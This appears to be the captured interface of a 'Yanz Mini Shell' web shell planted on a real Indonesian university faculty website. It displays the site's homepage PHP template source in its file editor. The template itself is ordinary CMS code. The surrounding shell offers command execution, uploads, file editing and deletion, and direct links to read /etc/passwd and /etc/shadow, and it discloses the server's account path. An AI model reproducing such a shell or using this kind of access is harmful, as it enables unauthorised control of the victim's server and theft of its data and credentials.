Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php require_once __DIR__ . '/../config/config.php'; // Hero welcome settings (dengan default sensible kalau belum diisi) $hero_tagline = setting('hero_tagline', 'Membentuk Generasi Saintifik Berkarakter'); $hero_subtitle = setting('hero_subtitle', 'Fakultas Sains Universitas Cokroaminoto Palopo — pusat pengembangan sains terapan di Sulawesi Selatan dengan 4 program studi unggulan terakreditasi LAMSAMA.'); $hero_cta1_text = setting('hero_cta1_text', 'Info Penerimaan Mahasiswa Baru'); $hero_cta1_url = setting('hero_cta1_url', 'pages/page.php?slug=pmb'); $hero_cta2_text = setting('hero_cta2_text', 'Jelajahi Program Studi'); $hero_cta2_url = setting('hero_cta2_url', 'pages/daftar-dosen.php'); $hero_show = setting('hero_welcome_show', '1'); $hero_badge_text = setting('hero_badge_text', 'FAKULTAS SAINS UNCP'); $hero_trust1_text = setting('hero_trust1_text', 'Terakreditasi LAMSAMA'); $hero_trust3_text = setting('hero_trust3_text', 'Berdiri Sejak 2005'); // Jumlah program studi aktif (dipakai di trust-indicator bar & daftar pill di bawahnya) $jumlah_prodi = $conn->query("SELECT COUNT(*) AS n FROM program_studi WHERE is_active = 1")->fetch_assoc()['n'] ?? 0; // Helper URL $_hu = function($url) use ($base_url) { if (preg_match('/^(https?:\/\/|\/)/', $url)) return $url; return $base_url . '/' . $url; }; // Kalau URL-nya mengarah ke situs luar (bukan situs sendiri), tombol otomatis buka tab baru $_isExternal = function($url) use ($base_url) { if (!preg_match('#^https?://#i', $url)) return false; // link relatif = situs sendiri $ownHost = parse_url($base_url, PHP_URL_HOST); $targetHost = parse_url($url, PHP_URL_HOST); return $ownHost && $targetHost && strcasecmp($ownHost, $targetHost) !== 0; }; ?> <?php if ($hero_show === '1'): ?> <!-- =========== HERO WELCOME BANNER (tagline + dual CTA) =========== --> <div style="background: linear-gradient(135deg, #0a2b3e 0%, #115277 60%, #1a6a9e 100%); padding: 50px 0 56px; position: relative; overflow: hidden;"> <!-- Decorative pattern --> <div style="position:absolute; inset:0; opacity:0.06; background-image: radial-gradient(circle at 1px 1px, white 1px, transparent 0); background-size: 24px 24px; pointer-events:none;"></div> <div class="container" style="position:relative; z-index:1;"> <div style="max-width: 920px; margin: 0 auto; text-align: center; color: white;"> <span data-aos="fade-down" style="display:inline-block; background: rgba(255,240,0,0.15); color: #fff000; padding: 6px 18px; border-radius: 20px; font-size: 0.8rem; font-weight: 700; letter-spacing: 1.5px; margin-bottom: 18px; border: 1px solid rgba(255,240,0,0.3);"> <i class="fas fa-graduation-cap"></i> <?= e($hero_badge_text) ?> </span> <h1 data-aos="fade-up" style="font-family: 'Poppins', sans-serif; font-size: clamp(1.8rem, 4.5vw, 2.8rem); font-weight: 800; line-height: 1.18; margin: 0 0 18px; text-shadow: 0 2px 12px rgba(0,0,0,0.2);"> <?= e($hero_tagline) ?> </h1> <p data-aos="fade-up" data-aos-delay="100" style="font-size: clamp(0.98rem, 1.6vw, 1.12rem); line-height: 1.7; opacity: 0.92; margin: 0 0 32px; max-width: 760px; margin-left:auto; margin-right:auto;"> <?= e($hero_subtitle) ?> </p> <div data-aos="fade-up" data-aos-delay="200" style="display: flex; gap: 14px; justify-content: center; flex-wrap: wrap;"> <?php if (!empty($hero_cta1_text)): ?> <a href="<?= e($_hu($hero_cta1_url)) ?>" <?= $_isExternal($_hu($hero_cta1_url)) ? 'target="_blank" rel="noopener"' : '' ?> style="background: #fff000; color: #0a2b3e; padding: 14px 32px; border-radius: 14px; text-decoration: none; font-weight: 700; font-size: 0.98rem; display:inline-flex; align-items:center; gap:10px; transition: transform 0.2s, box-shadow 0.2s; box-shadow: 0 6px 20px rgba(255,240,0,0.3);" onmouseover="this.style.transform='translateY(-2px)'; this.style.boxShadow='0 10px 28px rgba(255,240,0,0.4)';" onmouseout="this.style.transform='translateY(0)'; this.style.boxShadow='0 6px 20px rgba(255,240,0,0.3)';"> <i class="fas fa-arrow-right"></i> <?= e($hero_cta1_text) ?> </a> <?php endif; ?> <?php if (!empty($hero_cta2_text)): ?> <a href="<?= e($_hu($hero_cta2_url)) ?>" <?= $_isExternal($_hu($hero_cta2_url)) ? 'target="_blank" rel="noopener"' : '' ?> style="background: rgba(255,255,255,0.1); color: white; padding: 14px 32px; border-radius: 14px; text-decoration: none; font-weight: 700; font-size: 0.98rem; display:inline-flex; align-items:center; gap:10px; border: 1px solid rgba(255,255,255,0.25); backdrop-filter: blur(6px);" onmouseover="this.style.background='rgba(255,255,255,0.2)';" onmouseout="this.style.background='rgba(255,255,255,0.1)';"> <?= e($hero_cta2_text) ?> </a> <?php endif; ?> </div> <!-- Trust indicators bawah hero --> <div data-aos="fade-up" data-aos-delay="300" style="display:flex; gap:32px; justify-content:center; flex-wrap:wrap; margin-top:32px; padding-top:24px; border-top:1px solid rgba(255,255,255,0.12);"> <div style="display:flex; align-items:center; gap:8px; font-size:0.85rem; opacity:0.85;"> <i class="fas fa-award" style="color:#fff000;"></i> <?= e($hero_trust1_text) ?> </div> <div style="display:flex; align-items:center; gap:8px; font-size:0.85rem; opacity:0.85;"> <i class="fas fa-flask" style="color:#fff000;"></i> <?= (int)$jumlah_prodi ?> Program Studi S1 </div> <div style="display:flex; align-items:center; gap:8px; font-size:0.85rem; opacity:0.85;"> <i class="fas fa-calendar-check" style="color:#fff000;"></i> <?= e($hero_trust3_text) ?> </div> </div> <!-- Daftar Program Studi (dipindahkan ke sini dari section terpisah) --> <div data-aos="fade-up" data-aos-delay="350" style="display:flex; gap:12px; justify-content:center; flex-wrap:wrap; margin-top:20px;"> <?php $ps_hero = $conn->query("SELECT slug, nama, icon FROM program_studi WHERE is_active = 1 ORDER BY sort_order"); if ($ps_hero): while ($ph = $ps_hero->fetch_assoc()): ?> <a href="<?= $base_url ?>/pages/prodi.php?slug=<?= e($ph['slug']) ?>" style="display:flex; align-items:center; gap:8px; background:rgba(255,255,255,0.1); border:1px solid rgba(255,255,255,0.25); border-radius:40px; padding:8px 20px; color:#fff; text-decoration:none; font-size:0.85rem; font-weight:600; backdrop-filter:blur(6px);" onmouseover="this.style.background='rgba(255,255,255,0.2)';" onmouseout="this.style.background='rgba(255,255,255,0.1)';"> <i class="<?= e($ph['icon']) ?>" style="color:#fff000;"></i> S1 <?= e($ph['nama']) ?> </a> <?php endwhile; endif; ?> </div> </div> </div> </div> <?php endif; ?> <!-- =========== QUICK INFO BAR (dari tabel quick_info) =========== --> <?php $qi = $conn->query("SELECT * FROM quick_info WHERE is_active = 1 " . softDeleteFilter($conn, "quick_info") . " ORDER BY sort_order ASC, id ASC"); ?> <?php if ($qi && $qi->num_rows > 0): ?> <div style="background: #0a2b3e; padding: 0;"> <div class="container" style="max-width:1200px; margin:0 auto; padding:0 20px;"> <div class="quick-info-grid" style="display: grid; grid-template-columns: repeat(<?= min(4, $qi->num_rows) ?>, 1fr); gap: 0;"> <?php while ($q = $qi->fetch_assoc()): $url = $q['url']; if ($url !== '#' && $url !== '' && !preg_match('/^(https?:\/\/|\/)/', $url)) { $url = $base_url . '/' . $url; } ?> <a href="<?= e($url) ?>" target="<?= strpos($url, 'http') === 0 ? '_blank' : '_self' ?>" rel="noopener" style="display:flex; align-items:center; gap:14px; padding:22px 20px; color:white; text-decoration:none; border-right:1px solid rgba(255,255,255,0.1); transition:background 0.2s;" onmouseover="this.style.background='rgba(0,191,255,0.15)'" onmouseout="this.style.background='transparent'"> <i class="<?= e($q['icon']) ?>" style="font-size:28px; color:#fff000; flex-shrink:0;"></i> <div> <div style="font-weight:700; font-size:0.9rem;"><?= e($q['title']) ?></div> <div style="font-size:0.75rem; opacity:0.7;"><?= e($q['subtitle']) ?></div> </div> </a> <?php endwhile; ?> </div> </div> </div> <style> @media (max-width: 768px) { .quick-info-grid { grid-template-columns: repeat(2, 1fr) !important; } } @media (max-width: 480px) { .quick-info-grid { grid-template-columns: 1fr !important; } } </style> <?php endif; ?> <!-- Stats widget dipindahkan ke halaman Profil Fakultas (pages/page.php?slug=profil) --> <!-- =========== HEADLINE BERITA =========== --> <div class="container"> <section> <h2 class="section-title" data-aos="fade-up">HEADLINE BERITA</h2> <div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(340px, 1fr)); gap: 28px; margin-top: 40px;"> <?php $result = $conn->query("SELECT * FROM news WHERE 1 " . softDeleteFilter($conn, "news") . " ORDER BY date_posted DESC LIMIT 6"); $delay = 0; if ($result && $result->num_rows > 0): while ($row = $result->fetch_assoc()): $image_src = !empty($row['image']) ? $base_url . '/assets/images/news/' . e($row['image']) : $base_url . '/assets/images/hero/hero-1.jpg'; ?> <a href="<?= $base_url ?>/pages/detail-berita.php?id=<?= (int)$row['id'] ?>" data-aos="fade-up" data-aos-delay="<?= $delay ?>" style="background:white;border-radius:20px;overflow:hidden; box-shadow:0 10px 30px rgba(0,0,0,0.08);display:flex; flex-direction:column;text-decoration:none;color:inherit; transition:transform 0.3s, box-shadow 0.3s;" onmouseover="this.style.transform='translateY(-6px)';this.style.boxShadow='0 16px 40px rgba(0,0,0,0.12)'" onmouseout="this.style.transform='translateY(0)';this.style.boxShadow='0 10px 30px rgba(0,0,0,0.08)'"> <div style="height: 220px; overflow: hidden;"> <img src="<?= $image_src ?>" alt="<?= e($row['title']) ?>" loading="lazy" style="width: 100%; height: 100%; object-fit: cover;"> </div> <div style="padding: 24px; flex: 1; display: flex; flex-direction: column;"> <span style="color:#00bfff;font-size:0.78rem;font-weight:700;text-transform:uppercase;margin-bottom:8px;"> <?= e(strtoupper($row['category'] ?? 'BERITA')) ?> </span> <h3 style="font-size:1.28rem;line-height:1.45;margin:12px 0 12px;font-weight:600;flex:1;"> <?= e($row['title']) ?> </h3> <p style="font-size:0.85rem;color:#777;margin-bottom:16px;"> <?= tanggalIndo($row['date_posted']) ?> </p> <span style="color:#00bfff;font-weight:700;margin-top:auto;">Baca Selengkapnya →</span> </div> </a> <?php $delay = ($delay + 80) % 240; endwhile; else: ?> <p>Belum ada berita tersedia.</p> <?php endif; ?> </div> <div style="text-align: center; margin-top: 40px;" data-aos="fade-up"> <a href="<?= $base_url ?>/pages/berita.php" style="display:inline-block;background:#0a2b3e;color:white;padding:14px 36px; border-radius:50px;text-decoration:none;font-weight:700;"> Lihat Semua Berita → </a> </div> </section> </div> <!-- =========== INFORMASI AKADEMIK & LAYANAN =========== --> <div style="background: #f8fafc;"> <div class="container"> <section> <h2 class="section-title" data-aos="fade-up">Informasi Akademik & Layanan</h2> <div class="quick-grid"> <?php $qs = $conn->query("SELECT * FROM quick_services WHERE 1 " . softDeleteFilter($conn, "quick_services") . " ORDER BY sort_order ASC"); $delay = 0; if ($qs): while ($row = $qs->fetch_assoc()): $url = $row['url'] ?? ''; $is_external = $url && preg_match('/^https?:\/\//', $url); // Semua card SELALU clickable. Prioritas: URL eksternal > detail page (default) if (!empty($url)) { $link = $url; $target = $is_external ? ' target="_blank" rel="noopener"' : ''; $hint = $is_external ? ' <i class="fas fa-external-link-alt" style="font-size:0.7em;opacity:0.5;"></i>' : ' <i class="fas fa-arrow-right" style="font-size:0.7em;opacity:0.5;"></i>'; } else { $link = $base_url . '/pages/info-akademik.php?id=' . (int)$row['id']; $target = ''; $hint = ' <i class="fas fa-arrow-right" style="font-size:0.7em;opacity:0.5;"></i>'; } ?> <a href="<?= e($link) ?>"<?= $target ?> class="quick-item" data-aos="fade-up" data-aos-delay="<?= $delay ?>" style="text-decoration:none;color:inherit;cursor:pointer;"> <i class="<?= e($row['icon']) ?>"></i> <h4><?= e($row['title']) ?><?= $hint ?></h4> <small><?= e($row['subtitle']) ?></small> </a> <?php $delay += 80; endwhile; endif; ?> </div> </section> </div> </div> <?php if (setting('show_about_section_home', '1') === '1'): ?> <!-- =========== TENTANG FSAINS — REDESAIN MODERN =========== --> <div style="background: linear-gradient(180deg, #f8fafc 0%, #ffffff 100%); padding: 60px 0;"> <div class="container"> <!-- Header section dengan judul + tagline --> <div style="text-align:center; max-width:720px; margin:0 auto 48px;" data-aos="fade-up"> <span style="display:inline-block; background:#e6f7ff; color:#0099cc; padding:6px 16px; border-radius:20px; font-size:0.82rem; font-weight:700; letter-spacing:1px; margin-bottom:14px;"> TENTANG KAMI </span> <h2 style="font-family:'Poppins',sans-serif; font-size:2.2rem; font-weight:800; color:#0a2b3e; margin:0 0 14px; line-height:1.2;"> Fakultas Sains <span style="color:#00bfff;">Universitas Cokroaminoto Palopo</span> </h2> <p style="color:#64748b; font-size:1.05rem; line-height:1.7; margin:0;"> Pusat pengembangan sains terapan di wilayah Sulawesi Selatan, berkomitmen menghasilkan lulusan berkualitas dengan kompetensi unggul di bidang Biologi, Fisika, Kimia, dan Matematika. </p> </div> <!-- Visi & Misi + Pimpinan side by side --> <div class="about-redesign-grid" style="display:grid; grid-template-columns:1.3fr 1fr; gap:32px;"> <!-- LEFT: 3 cards (Visi / Misi / Tujuan) dengan icon --> <div data-aos="fade-up"> <div style="display:grid; gap:16px;"> <!-- Card Visi --> <div style="background:white; padding:24px 28px; border-radius:18px; box-shadow:0 4px 16px rgba(0,0,0,0.05); border-left:4px solid #00bfff;"> <div style="display:flex; align-items:center; gap:14px; margin-bottom:12px;"> <div style="width:48px; height:48px; background:#e6f7ff; border-radius:12px; display:flex; align-items:center; justify-content:center; flex-shrink:0;"> <i class="fas fa-eye" style="color:#00bfff; font-size:1.3rem;"></i> </div> <h3 style="font-family:'Poppins',sans-serif; font-size:1.15rem; font-weight:700; color:#0a2b3e; margin:0;">Visi</h3> </div> <p style="color:#475569; line-height:1.7; font-size:0.95rem; margin:0;"><?= e(setting('about_visi') ?: 'Belum diisi di Pengaturan Web → Konten Tentang FSAINS') ?></p> </div> <!-- Card Misi --> <div style="background:white; padding:24px 28px; border-radius:18px; box-shadow:0 4px 16px rgba(0,0,0,0.05); border-left:4px solid #10b981;"> <div style="display:flex; align-items:center; gap:14px; margin-bottom:12px;"> <div style="width:48px; height:48px; background:#ecfdf5; border-radius:12px; display:flex; align-items:center; justify-content:center; flex-shrink:0;"> <i class="fas fa-bullseye" style="color:#10b981; font-size:1.3rem;"></i> </div> <h3 style="font-family:'Poppins',sans-serif; font-size:1.15rem; font-weight:700; color:#0a2b3e; margin:0;">Misi</h3> </div> <p style="color:#475569; line-height:1.7; font-size:0.95rem; margin:0;"><?= e(potong(setting('about_misi') ?: 'Belum diisi di Pengaturan Web → Konten Tentang FSAINS', 280)) ?></p> </div> <!-- Card Tujuan --> <div style="background:white; padding:24px 28px; border-radius:18px; box-shadow:0 4px 16px rgba(0,0,0,0.05); border-left:4px solid #f59e0b;"> <div style="display:flex; align-items:center; gap:14px; margin-bottom:12px;"> <div style="width:48px; height:48px; background:#fffbeb; border-radius:12px; display:flex; align-items:center; justify-content:center; flex-shrink:0;"> <i class="fas fa-flag" style="color:#f59e0b; font-size:1.3rem;"></i> </div> <h3 style="font-family:'Poppins',sans-serif; font-size:1.15rem; font-weight:700; color:#0a2b3e; margin:0;">Tujuan</h3> </div> <p style="color:#475569; line-height:1.7; font-size:0.95rem; margin:0;"><?= e(potong(setting('about_tujuan') ?: 'Belum diisi di Pengaturan Web → Konten Tentang FSAINS', 280)) ?></p> </div> </div> <a href="<?= $base_url ?>/pages/page.php?slug=profil" style="display:inline-flex; align-items:center; gap:8px; margin-top:20px; padding:12px 24px; background:#0a2b3e; color:white; text-decoration:none; border-radius:12px; font-weight:600; font-size:0.95rem;"> Lihat Profil Lengkap <i class="fas fa-arrow-right"></i> </a> </div> <!-- RIGHT: Pimpinan Fakultas card stack --> <div data-aos="fade-up" data-aos-delay="200"> <div style="background: linear-gradient(135deg, #0a2b3e 0%, #115277 100%); padding:28px; border-radius:20px; color:white; box-shadow:0 10px 30px rgba(10,43,62,0.2);"> <div style="display:flex; align-items:center; gap:12px; margin-bottom:20px; padding-bottom:16px; border-bottom:1px solid rgba(255,255,255,0.15);"> <i class="fas fa-user-tie" style="font-size:1.4rem; color:#fff000;"></i> <h3 style="font-family:'Poppins',sans-serif; font-size:1.2rem; font-weight:700; margin:0;">Pimpinan Fakultas</h3> </div> <?php $pp = $conn->query("SELECT * FROM pimpinan WHERE is_active = 1 " . softDeleteFilter($conn, "pimpinan") . " ORDER BY sort_order ASC"); if ($pp && $pp->num_rows > 0): $is_last_idx = $pp->num_rows - 1; $idx = 0; while ($p = $pp->fetch_assoc()): $full = trim(($p['gelar_depan'] ? $p['gelar_depan'] . ' ' : '') . $p['nama'] . ($p['gelar_belakang'] ? ', ' . $p['gelar_belakang'] : '')); $foto_path = !empty($p['foto']) ? $base_url . '/assets/images/pimpinan/' . htmlspecialchars($p['foto']) : ''; $is_last = ($idx === $is_last_idx); ?> <div style="display:flex; align-items:center; gap:14px; <?= $is_last ? '' : 'margin-bottom:16px; padding-bottom:16px; border-bottom:1px solid rgba(255,255,255,0.1);' ?>"> <div style="position:relative; width:54px; height:54px; flex-shrink:0;"> <div style="width:54px; height:54px; border-radius:50%; background:linear-gradient(135deg, #fff000, #fbbf24); display:flex; align-items:center; justify-content:center; color:#0a2b3e; font-weight:800; font-size:1.2rem;"> <?= strtoupper(substr($p['nama'], 0, 1)) ?> </div> <?php if ($foto_path): ?> <img src="<?= $foto_path ?>" alt="<?= e($full) ?>" style="position:absolute; top:0; left:0; width:54px; height:54px; border-radius:50%; object-fit:cover; border:2px solid rgba(255,255,255,0.3);" onerror="this.style.display='none';"> <?php endif; ?> </div> <div style="flex:1; min-width:0;"> <div style="font-size:0.72rem; color:#fff000; text-transform:uppercase; letter-spacing:0.8px; font-weight:700; margin-bottom:2px;"><?= e($p['jabatan']) ?></div> <div style="font-weight:600; font-size:0.95rem; line-height:1.3;"><?= e($full) ?></div> </div> </div> <?php $idx++; endwhile; else: ?> <p style="opacity:0.7; font-style:italic; margin:0;">Belum ada data pimpinan. Tambah di Admin → Pimpinan.</p> <?php endif; ?> </div> </div> </div> </section> </div> <style> @media (max-width: 768px) { .about-redesign-grid { grid-template-columns: 1fr !important; } } </style> <?php endif; ?> <div class="container"> <section> <!-- =========== LAB & AGENDA =========== --> <div class="lab-agenda-grid" style="display: grid; grid-template-columns: 1fr 1fr; gap: 30px;"> <div data-aos="fade-up"> <h3 class="section-title" style="font-size: 1.4rem;">Laboratorium Unggulan</h3> <ul class="lab-list"> <?php $labs = $conn->query("SELECT * FROM laboratorium WHERE is_active = 1 " . softDeleteFilter($conn, "laboratorium") . " ORDER BY sort_order ASC"); if ($labs): while ($lab = $labs->fetch_assoc()): ?> <li><i class="<?= e($lab['icon']) ?>" style="color:#00bfff;"></i> <?= e($lab['nama']) ?></li> <?php endwhile; endif; ?> </ul> </div> <div data-aos="fade-up" data-aos-delay="100"> <h3 class="section-title" style="font-size: 1.4rem;">Agenda & Kegiatan</h3> <div style="background:#fff4cf;border-radius:24px;padding:24px;"> <?php $ag = $conn->query("SELECT * FROM agenda WHERE is_active = 1 " . softDeleteFilter($conn, "agenda") . " ORDER BY sort_order ASC"); if ($ag && $ag->num_rows > 0): while ($a = $ag->fetch_assoc()): ?> <p style="margin-bottom:10px;"> <i class="<?= e($a['icon']) ?>" style="color:#00bfff;"></i> <strong><?= e($a['title']) ?></strong> <?php if ($a['tanggal']): ?> — <?= tanggalIndo($a['tanggal']) ?> <?php endif; ?> <?php if ($a['deskripsi']): ?> <br><span style="font-size:0.85rem;color:#475569;margin-left:24px;"><?= e($a['deskripsi']) ?></span> <?php endif; ?> </p> <?php endwhile; endif; ?> <a href="<?= $base_url ?>/pages/agenda.php" style="color:#0a2b3e;font-weight:700;text-decoration:none;"> Lihat semua agenda → </a> </div> </div> </div> </section> </div> <?php // =========== TESTIMONI ALUMNI (kalau tabel ada & ada data aktif) =========== $_tst_ok = false; $_tst_q = null; try { $_chk = @$conn->query("SHOW TABLES LIKE 'testimoni_alumni'"); if ($_chk && $_chk->num_rows > 0) { $_filter = softDeleteFilter($conn, 'testimoni_alumni'); $_tst_q = @$conn->query("SELECT t.*, p.nama AS nama_prodi FROM testimoni_alumni t LEFT JOIN program_studi p ON t.prodi_id = p.id WHERE t.is_active = 1 $_filter ORDER BY t.sort_order ASC, t.id DESC LIMIT 6"); if ($_tst_q && $_tst_q->num_rows > 0) $_tst_ok = true; } } catch (Exception $e) {} ?> <?php if ($_tst_ok): ?> <!-- =========== TESTIMONI ALUMNI =========== --> <div style="background: linear-gradient(180deg, #ffffff 0%, #f1f5f9 100%); padding: 70px 0;"> <div class="container"> <div style="text-align:center; max-width:720px; margin:0 auto 48px;" data-aos="fade-up"> <span style="display:inline-block; background:#fce7f3; color:#9333ea; padding:6px 16px; border-radius:20px; font-size:0.82rem; font-weight:700; letter-spacing:1px; margin-bottom:14px;"> TESTIMONI ALUMNI </span> <h2 style="font-family:'Poppins',sans-serif; font-size:2.1rem; font-weight:800; color:#0a2b3e; margin:0 0 14px; line-height:1.2;"> Suara Alumni yang Telah <span style="color:#9333ea;">Berhasil</span> </h2> <p style="color:#64748b; font-size:1rem; line-height:1.7; margin:0;"> Mereka yang sudah berjuang di sini, sekarang berkarya di berbagai bidang. Berikut cerita mereka. </p> </div> <div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); gap:24px;"> <?php $delay = 0; while ($t = $_tst_q->fetch_assoc()): ?> <div data-aos="fade-up" data-aos-delay="<?= $delay ?>" style="background:white; border-radius:20px; padding:28px; box-shadow:0 6px 24px rgba(0,0,0,0.06); position:relative; display:flex; flex-direction:column;"> <i class="fas fa-quote-left" style="position:absolute; top:18px; right:22px; font-size:2.4rem; color:#fce7f3;"></i> <!-- Avatar + nama + meta --> <div style="display:flex; align-items:center; gap:14px; margin-bottom:16px;"> <div style="position:relative; width:56px; height:56px; flex-shrink:0;"> <div style="width:56px; height:56px; border-radius:50%; background:linear-gradient(135deg, #c084fc, #9333ea); display:flex; align-items:center; justify-content:center; color:white; font-weight:800; font-size:1.3rem;"> <?= strtoupper(substr($t['nama'], 0, 1)) ?> </div> <?php if (!empty($t['foto'])): ?> <img src="<?= $base_url ?>/assets/images/alumni/<?= e($t['foto']) ?>" alt="<?= e($t['nama']) ?>" style="position:absolute; top:0; left:0; width:56px; height:56px; border-radius:50%; object-fit:cover; border:3px solid white; box-shadow:0 2px 6px rgba(0,0,0,0.1);" onerror="this.style.display='none';"> <?php endif; ?> </div> <div style="flex:1; min-width:0;"> <div style="font-weight:700; color:#0a2b3e; font-size:1rem;"><?= e($t['nama']) ?></div> <div style="font-size:0.78rem; color:#64748b;"> <?= e($t['nama_prodi'] ?: 'Alumni FSAINS') ?> <?php if (!empty($t['angkatan'])): ?> · Angkatan <?= e($t['angkatan']) ?><?php endif; ?> </div> </div> </div> <!-- Posisi --> <?php if (!empty($t['posisi']) || !empty($t['perusahaan'])): ?> <div style="background:#f8fafc; padding:10px 14px; border-radius:10px; font-size:0.82rem; color:#475569; margin-bottom:14px;"> <i class="fas fa-briefcase" style="color:#9333ea; margin-right:6px;"></i> <strong><?= e($t['posisi']) ?></strong> <?php if (!empty($t['perusahaan'])): ?> @ <?= e($t['perusahaan']) ?><?php endif; ?> </div> <?php endif; ?> <!-- Testimoni text --> <p style="color:#334155; line-height:1.75; font-size:0.95rem; font-style:italic; margin:0; flex:1;"> "<?= e($t['testimoni']) ?>" </p> </div> <?php $delay = ($delay + 80) % 240; endwhile; ?> </div> </div> </div> <?php endif; ?> <?php // =========== MITRA KERJA SAMA (kalau tabel ada & ada data aktif) =========== $_mitra_ok = false; $_mitra_q = null; try { $_chk_mitra = @$conn->query("SHOW TABLES LIKE 'partner_logos'"); if ($_chk_mitra && $_chk_mitra->num_rows > 0) { $_filter_mitra = softDeleteFilter($conn, 'partner_logos'); $_mitra_q = @$conn->query("SELECT * FROM partner_logos WHERE is_active = 1 $_filter_mitra ORDER BY sort_order ASC, nama ASC"); if ($_mitra_q && $_mitra_q->num_rows > 0) $_mitra_ok = true; } } catch (Exception $e) {} ?> <?php if ($_mitra_ok): ?> <!-- =========== MITRA KERJA SAMA =========== --> <div style="background: #ffffff; padding: 60px 0 70px;"> <div class="container"> <div style="text-align:center; max-width:680px; margin:0 auto 40px;" data-aos="fade-up"> <span style="display:inline-block; background:#e0f2fe; color:#0369a1; padding:6px 16px; border-radius:20px; font-size:0.82rem; font-weight:700; letter-spacing:1px; margin-bottom:14px;"> MITRA KERJA SAMA </span> <h2 style="font-family:'Poppins',sans-serif; font-size:1.9rem; font-weight:800; color:#0a2b3e; margin:0 0 12px;"> Dipercaya Bekerja Sama Dengan </h2> <p style="color:#64748b; margin:0;">Instansi, industri, dan lembaga mitra Fakultas Sains UNCP.</p> </div> <div style="display:grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); gap:20px; align-items:stretch;"> <?php $delay = 0; while ($m = $_mitra_q->fetch_assoc()): $tag = !empty($m['website']) ? 'a' : 'div'; $attrs = !empty($m['website']) ? 'href="' . e($m['website']) . '" target="_blank" rel="noopener"' : ''; ?> <<?= $tag ?> <?= $attrs ?> title="<?= e($m['nama']) ?><?= !empty($m['deskripsi']) ? ' — ' . e($m['deskripsi']) : '' ?>" data-aos="fade-up" data-aos-delay="<?= $delay ?>" style="display:flex; align-items:center; justify-content:center; background:#f8fafc; border:1px solid #e2e8f0; border-radius:16px; padding:18px; height:90px; text-decoration:none; transition:transform 0.2s, box-shadow 0.2s, border-color 0.2s;" onmouseover="this.style.transform='translateY(-3px)'; this.style.boxShadow='0 10px 24px rgba(0,0,0,0.08)'; this.style.borderColor='#bae6fd';" onmouseout="this.style.transform=''; this.style.boxShadow=''; this.style.borderColor='#e2e8f0';"> <?php if (!empty($m['logo'])): ?> <img src="<?= $base_url ?>/assets/images/partners/<?= e($m['logo']) ?>" alt="<?= e($m['nama']) ?>" style="max-width:100%; max-height:56px; object-fit:contain; filter:grayscale(1); opacity:0.75; transition:filter 0.2s, opacity 0.2s;" onmouseover="this.style.filter='none'; this.style.opacity='1';" onmouseout="this.style.filter='grayscale(1)'; this.style.opacity='0.75';" onerror="this.replaceWith(Object.assign(document.createElement('span'), {textContent: '<?= e($m['nama']) ?>', style: 'font-size:0.8rem; font-weight:600; color:#64748b; text-align:center;'}));"> <?php else: ?> <span style="font-size:0.85rem; font-weight:600; color:#64748b; text-align:center;"><?= e($m['nama']) ?></span> <?php endif; ?> </<?= $tag ?>> <?php $delay = ($delay + 40) % 200; endwhile; ?> </div> </div> </div> <?php endif; ?> <style> @media (max-width: 768px) { .about-grid, .lab-agenda-grid { grid-template-columns: 1fr !important; } } </style>
Free Space : 55194877952 Byte